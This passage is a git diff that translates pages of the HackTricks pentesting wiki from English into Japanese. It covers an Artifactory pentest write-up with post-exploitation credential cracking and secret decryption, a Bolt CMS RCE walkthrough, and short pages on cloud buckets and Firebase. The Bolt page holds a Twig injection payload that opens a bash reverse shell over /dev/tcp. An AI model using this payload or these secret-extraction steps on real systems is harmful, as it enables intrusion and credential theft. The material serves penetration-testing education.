+管理者がパーティションが好きなことを覚えていますか?それでは、この脆弱性に対する彼のセットアップを知らずに強化してしまった管理者のケースです!そのため、別の方法を見つける必要がありました。ファイルをディスクに書き込むことができる別の方法を見つけるために、本質的にはJavaの監獄に掘り下げる必要がありました。これは楽しいことではありませんでした。FTLテンプレート、Java、Tomcat/Catalinaには詳しくありません。通常のJavaの監獄脱出ではうまくいかなかったことがすぐにわかりました。新しいクラスのインスタンス化が禁止されていました。JavaとCatalinaのクラスのドキュメントを何時間も読んだ後、到達できるオブジェクトにwrite()メソッドがあることをついに見つけました。ただし、これはWebアプリケーションのベースパスに制限されていました... そこで、別のファイルシステムへの書き込みと、この新しく到達可能なファイルシステムを介した`renameTo()`を組み合わせて、どこにでも書き込めるようにすることができるかと思いました。そして、それはある程度うまくいきました。一時的なアップロードディレクトリの外に書き込むことには +# ポストエクスプロイテーション -Okay, I could write to the artifactory root folder, surely I could do something here? Hey, default Tomcat automatically does deploy WAR files written to its application path, doesn’t it? So I used msfvenom to generate a JSP webshell packed in a WAR file and tested it in my sandbox… well it got deployed alright, but netted me no command execution. Seems like default Tomcat doesn’t handle JSPs. Ugh. Getting increasingly frustrated, I looked for another way to execute code in Tomcat, and found another execution method using servlets. Couldn’t find an appropriate payload so fuck it, I’m all in at this point and [rolled my own which you can find here](https://github.com/gquere/javaWebShell). Tested it in the sandbox, works, ok. Put it on target, deploys and … nada. Turns out, there was a proxy in front of artifactory that rewrote all URLs to /artifactory. So even though my backdoor was deployed and running, there was no way for me to access it… If there was some remote code execution to achieve at this point, it would have to be in Artifactory’s context, not Tomcat’s. +以下は、リモートコード実行またはサーバー上の任意のファイル読み取りを達成した後にのみ役立つものであり、別のマシンへのピボットに役立つかもしれません。 -Come next morning, I’m sobbing at my desk looking a last time at Artifactory’s documentation in vain hopes of an epiphany. And then the magical words “Groovy scripts” appeared. Turns out there’s a convoluted way to execute Groovy scripts, by writing them to disk then reloading them through the API. Saved at last! So I popped a Groovy reverseshell to machine and that was the end of that. Still wish I had found a cleaner method that would have written anywhere on the filesystem using the SSTI, but I sure wasn’t going to back to developping! +## パスワードと外部シークレットの保存 -Fortunately, all pentests don’t go like this :) +### ローカルパスワード -# Post-Exploitation +ローカルのArtifactoryパスワードは、ソルト付きMD5またはbcrypt形式で保存されています。前者は非推奨です。 -The following are only useful once you’ve achieved remote code execution or arbitrary file read on the server and might help you pivoting to another machine. - -## Storage of passwords and external secrets - -### Local passwords - -Local artifactory passwords are stored in either salted MD5 or bcrypt form, the former being deprecated. - -MD5 passwords are always salted with the hardcoded the spring value `{CAFEBABEEBABEFAC}`, and are using simple concatenation with no rounds, i.e. `hash = md5(password + salt)`. The database says the salt is `CAFEBABEEBABEFAC` but trust me, it’s `{CAFEBABEEBABEFAC}`, I had a hard time finding it :) - -Cracking these MD5 passwords requires using a dynamic mode for JtR: +MD5パスワードは常にハードコードされたspring値`{CAFEBABEEBABEFAC}`でソルト化されており、単純な連結を使用しています。つまり、`hash = md5(password + salt)`です。データベースにはソルトが`CAFEBABEEBABEFAC`と記載されていますが、信じてください、実際は`{CAFEBABEEBABEFAC}`です。見つけるのに苦労しました :) +これらのMD5パスワードをクラックするには、JtRのダイナミックモードを使用する必要があります: ``` cat artifactory.hashes user:1f70548d73baca61aab8660733c7de81${CAFEBABEEBABEFAC} @@ -163,9 +147,7 @@ john artifactory.hashes --format=dynamic_1 Loaded 1 password hash (dynamic_1 [md5($p.$s) (joomla) 256/256 AVX2 8x3]) password (user) ``` - -The other type of bcrypt password requires nothing special, it’s just a standard bcrypt hash: - +他のタイプのbcryptパスワードは特別なものは必要ありません。それは単なる標準的なbcryptハッシュです。 ``` cat artifactory_bcrypt.hashes admin:$2a$08$EbfHSAjPLoJnG/yHS/zmi.VizaWSipUuKAo7laKt6b8LePPTfDVeW @@ -173,74 +155,64 @@ john artifactory_bcrypt.hashes Loaded 1 password hash (bcrypt [Blowfish 32/64 X2]) password (admin) ``` +### リモートシークレット -### Remote secrets +Artifactoryは、リモートサービスに識別するためのシークレットを保存する必要がある場合があります。これらのシークレットはハッシュ化されていませんが、ディスク上に暗号化されて保存されており、その隣に鍵があります。[公式ドキュメント](https://jfrog.com/knowledge-base/what-are-the-artifactory-key-master-key-and-what-are-they-used-for/)には、2つのタイプのシークレットが記載されています。 -Artifactory may need to store secrets to identify to remote services. These secrets aren’t hashed of course, they’re stored encrypted on the disk, with the key next to them. There are two types of secrets mentionned in the [official documentation](https://jfrog.com/knowledge-base/what-are-the-artifactory-key-master-key-and-what-are-they-used-for/). +**古い形式 (<5.9): DES-EDE** -**Old format (<5.9): DES-EDE** +TODO. [サンプルの暗号化データがある場合は、問題を開いてください](https://github.com/gquere/ArtifactoryDecryptor). -TODO. [Open an issue if you have sample encrypted data](https://github.com/gquere/ArtifactoryDecryptor). - -**New format (>=5.9): AES128-CBC encryption, stored as base58** - -External secrets (such as passwords of remote servers) are found in the [configuration descriptors](https://www.jfrog.com/confluence/display/JFROG/Configuration+Files#ConfigurationFiles-GlobalConfigurationDescriptor), e.g. `/var/opt/jfrog/artifactory/etc/artifactory.config.latest.xml` and look like: +**新しい形式 (>=5.9): AES128-CBC暗号化、base58で保存** +外部のシークレット(リモートサーバーのパスワードなど)は、[設定ディスクリプタ](https://www.jfrog.com/confluence/display/JFROG/Configuration+Files#ConfigurationFiles-GlobalConfigurationDescriptor)に見つかります。例えば、`/var/opt/jfrog/artifactory/etc/artifactory.config.latest.xml`のような場所にあり、以下のようになります: ``` AM.25rLQ.AES128.vJMeKkaK6RBRQCUKJWvYEHUw6zs394X1CrRugvJsQGPanhMgQ5be8yjWDhJYC4BEz2KRE ``` - Where: -* `AM` always denotes an artifactory encrypted secret -* `25rLQ` is the secret identifier that has to match the key’s identifier -* `AES128` obviously is the algorithm used -* `vJMeK...KRE` is the base58 encoding of `IV_SIZE|IV|secret|CRC` - -More secrets can be found (tokens, configuration backups …) by using the following regexp: +* `AM`は常にArtifactoryの暗号化された秘密を示します +* `25rLQ`はキーの識別子と一致する必要がある秘密の識別子です +* `AES128`は明らかに使用されるアルゴリズムです +* `vJMeK...KRE`は`IV_SIZE|IV|secret|CRC`のBase58エンコーディングです +以下の正規表現を使用して、他の秘密(トークン、設定のバックアップなど)を見つけることができます: ``` grep -r 'AM\..*\.AES128\.' /var/opt/jfrog/artifactory/ ``` - -The key is stored in `/var/opt/jfrog/artifactory/etc/security/artifactory.key` and looks like: - +鍵は `/var/opt/jfrog/artifactory/etc/security/artifactory.key` に保存されており、以下のようになっています: ``` JS.25rLQ.AES128.7fcJFd3Y2ib3wi4EHnhbvZuxu ``` - Where: -* `JS` denotes a key -* `25rLQ` is a unique key identifier that keeps track of which key can decrypt which secrets -* `AES128` obviously is the algorithm used -* `7fcJFd3Y2ib3wi4EHnhbvZuxu` is the base58 encoding of the key and 2 bytes of CRC +* `JS` はキーを示しています +* `25rLQ` はキーごとにどの秘密を復号化できるかを追跡する一意のキー識別子です +* `AES128` は使用されているアルゴリズムです +* `7fcJFd3Y2ib3wi4EHnhbvZuxu` はキーと2バイトのCRCのbase58エンコーディングです -This tool I wrote can be used offline to decrypt Artifactory secrets: [ArtifactoryDecryptor](https://github.com/gquere/ArtifactoryDecryptor). +このツールはオフラインで使用でき、Artifactoryの秘密を復号化するために使用できます:[ArtifactoryDecryptor](https://github.com/gquere/ArtifactoryDecryptor)。 -# Defending Artifactory +# Artifactoryの防御 -If you’re the blue team or an Artifactory admin, by now you should have a pretty good idea of what to do: - -* keep Artifactory up to date, especially when criticial updates are issued -* implement a sound password policy (no default passwords, mandatory strong passwords, lockouts), preferably deferred to an external LDAP for better supervision -* restrict accesses (respect the principle of least privilege), especially for the anonymous user +もし青チームまたはArtifactoryの管理者である場合、以下のことを行う必要があります: +* 特に重要なアップデートが発行された場合には、Artifactoryを最新の状態に保つ +* 音のパスワードポリシーを実装する(デフォルトのパスワードを使用しない、強力なパスワードを必須とする、ロックアウトを行う)。特に外部LDAPに委任して監視を向上させることが望ましい +* 匿名ユーザーに対して特にアクセスを制限する(最小特権の原則を尊重する)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**または**[telegramグループ](https://t.me/peass)**に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksのリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudのリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/pentesting-web/bolt-cms.md b/network-services-pentesting/pentesting-web/bolt-cms.md index 1b92b3e9d..e31b5ff40 100644 --- a/network-services-pentesting/pentesting-web/bolt-cms.md +++ b/network-services-pentesting/pentesting-web/bolt-cms.md @@ -4,33 +4,33 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**してください。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** ## RCE -After login as admin (go to /bot lo access the login prompt), you can get RCE in Bolt CMS: +管理者としてログインした後(ログインプロンプトにアクセスするには/botに移動します)、Bolt CMSでRCEを取得できます: -* Select `Configuration` -> `View Configuration` -> `Main Configuration` or go the the URL path `/bolt/file-edit/config?file=/bolt/config.yaml` - * Check the value of theme +* `Configuration`を選択し、`View Configuration`を選択し、`Main Configuration`を選択するか、URLパス`/bolt/file-edit/config?file=/bolt/config.yaml`に移動します。 +* themeの値を確認します
-* Select `File management` -> `View & edit templates` - * Select the theme base found in the previous (`base-2021` in this case) step and select `index.twig` - * In my case this is in the URL path /bolt/file-edit/themes?file=/base-2021/index.twig -* Set your payload in this file via [template injection (Twig)](../../pentesting-web/ssti-server-side-template-injection/#twig-php), like: `{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}` - * And save changes +* `File management`を選択し、`View & edit templates`を選択します。 +* 前のステップで見つかったテーマベース(この場合は`base-2021`)を選択し、`index.twig`を選択します。 +* 私の場合、これはURLパス`/bolt/file-edit/themes?file=/base-2021/index.twig`にあります。 +* [テンプレートインジェクション(Twig)](../../pentesting-web/ssti-server-side-template-injection/#twig-php)を介してこのファイルにペイロードを設定します。例:`{{['bash -c "bash -i >& /dev/tcp/10.10.14.14/4444 0>&1"']|filter('system')}}` +* そして変更を保存します
-* Clear the cache in `Maintenance` -> `Clear the cache` -* Access again the page as a regular user, and the payload should be executed +* `Maintenance` -> `Clear the cache`でキャッシュをクリアします。 +* 通常のユーザーとして再度ページにアクセスすると、ペイロードが実行されるはずです。
diff --git a/network-services-pentesting/pentesting-web/buckets/README.md b/network-services-pentesting/pentesting-web/buckets/README.md index c55218698..380bc40f4 100644 --- a/network-services-pentesting/pentesting-web/buckets/README.md +++ b/network-services-pentesting/pentesting-web/buckets/README.md @@ -1,24 +1,24 @@ -# Buckets +# バケット
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-You can use [BBOT](https://github.com/blacklanternsecurity/bbot) to enumerate storage buckets. Supported providers are: AWS, Google, Azure, DigitalOcean, and Firebase. +[BBOT](https://github.com/blacklanternsecurity/bbot)を使用してストレージバケットを列挙することができます。サポートされているプロバイダは、AWS、Google、Azure、DigitalOcean、Firebaseです。 -Buckets are discovered from web content and enumerated based on derivatives of discovered DNS names. For example, if your target is `tesla.com` and BBOT discovers a subdomain `www.tesla.com`, it will visit the website and extract bucket names from its HTML content. Additionally, it will try each of the following bucket names: +バケットはウェブコンテンツから発見され、発見されたDNS名の派生物に基づいて列挙されます。たとえば、ターゲットが`tesla.com`であり、BBOTがサブドメイン`www.tesla.com`を発見した場合、ウェブサイトを訪問し、そのHTMLコンテンツからバケット名を抽出します。さらに、次のバケット名を試します。 - `www.tesla.com` - `www.tesla` - `www-tesla-com` @@ -26,21 +26,21 @@ Buckets are discovered from web content and enumerated based on derivatives of d - `wwwteslacom` - `wwwtesla` -For each bucket found, BBOT will check whether it's open (world-readable) and also whether it's vulnerable to [subdomain takeover](pentesting-web/domain-subdomain-takeover.md). Note that buckets discovered with the `bucket_*` modules are not guaranteed to be owned by the target. +見つかった各バケットについて、BBOTはそれがオープン(世界で読み取り可能)であるか、または[subdomain takeover](pentesting-web/domain-subdomain-takeover.md)の脆弱性があるかどうかをチェックします。ただし、`bucket_*`モジュールで発見されたバケットは、ターゲットによって所有されていることは保証されていません。 ~~~bash -# enumerate buckets for evilcorp.com +# evilcorp.comのバケットを列挙する bbot -t evilcorp.com -f subdomain-enum cloud-enum -# single cloud provider + permutations (-dev, -test, etc.) +# 単一のクラウドプロバイダ + パーミュテーション(-dev、-testなど) bbot -t evilcorp.com -m bucket_aws -c modules.bucket_aws.permutations=true ~~~ -A good tool to review your configuration in several clouds is: [https://github.com/nccgroup/ScoutSuite](https://github.com/nccgroup/ScoutSuite) +複数のクラウドで構成を確認するための良いツールは次のとおりです:[https://github.com/nccgroup/ScoutSuite](https://github.com/nccgroup/ScoutSuite) -[**AWS S3 hacking tricks**](broken-reference) +[**AWS S3ハッキングのトリック**](broken-reference) -**More info:** +**詳細情報:** * [https://www.notsosecure.com/cloud-services-enumeration-aws-azure-and-gcp/](https://www.notsosecure.com/cloud-services-enumeration-aws-azure-and-gcp/) * [https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/](https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/) @@ -50,14 +50,14 @@ A good tool to review your configuration in several clouds is: [https://github.c ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
diff --git a/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/network-services-pentesting/pentesting-web/buckets/firebase-database.md index 84e7a82a9..be7d3e7ab 100644 --- a/network-services-pentesting/pentesting-web/buckets/firebase-database.md +++ b/network-services-pentesting/pentesting-web/buckets/firebase-database.md @@ -1,22 +1,22 @@ -# Firebase Database +# Firebase データベース
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。 +* **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)**に PR を提出してください。
-## What is Firebase +## Firebase とは -Firebase is a Backend-as-a-Services mainly for mobile application. It is focused on removing the charge of programming the back-end providing a nice SDK as well as many other interesting things that facilitates the interaction between the application and the back-end. +Firebase は、主にモバイルアプリケーション向けの Backend-as-a-Service です。バックエンドのプログラミングの手間を省くことに焦点を当て、素晴らしい SDK と他の多くの興味深い機能を提供して、アプリケーションとバックエンドの間の相互作用を容易にします。 -Learn more about Firebase in: +Firebase について詳しくは以下を参照してください: {% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum" %} @@ -24,10 +24,10 @@ Learn more about Firebase in: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**PEASS の最新バージョンにアクセスしたり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をご覧ください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローしてください。 +* **ハッキングのトリックを共有するには、[hacktricks リポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud リポジトリ](https://github.com/carlospolop/hacktricks-cloud)**に PR を提出してください。 diff --git a/network-services-pentesting/pentesting-web/cgi.md b/network-services-pentesting/pentesting-web/cgi.md index 0039ec932..67d627e9b 100644 --- a/network-services-pentesting/pentesting-web/cgi.md +++ b/network-services-pentesting/pentesting-web/cgi.md @@ -1,47 +1,58 @@ - -
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
